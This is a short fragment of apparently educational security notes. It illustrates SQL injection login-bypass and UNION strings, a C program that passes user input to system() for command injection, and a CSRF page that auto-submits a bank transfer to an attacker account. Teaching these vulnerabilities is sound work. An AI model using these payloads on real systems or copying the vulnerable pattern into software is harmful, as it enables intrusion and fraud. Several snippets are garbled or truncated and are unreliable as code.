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2.2.1 SQL injection
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select * from client where name='anjinma' and password='12345'

l

select * from client where name='anjinma' and password=' or '1'='l --
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ID: test' UNION SELECT 1,1 --

PW: anything
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SELECT * FROM users WHERE ID='test' UNION SELECT 1,1 -- and PW='anything'
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2.2.2 Command injection
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int main(char* argc, char** argv) {

char cmd[CMD_MAX] = "/usr/bin/cat

strcat(cmd, argv[1]);

system(cmd);
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2.2.3 Cross Site Request Forgery (CSRF)
<body onload="document.forms[@].submit()">

<form action="http://netbank.com/transfer.do™ method="POST">

<input type="hidden" name="acct" value="AttackerA"/>

<input type="hidden" name="amount" value="$168"/>

<input type="submit" value="View my pictures!"/>
</form>

</body>
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2.2.4 Cross Site Script(XSS)
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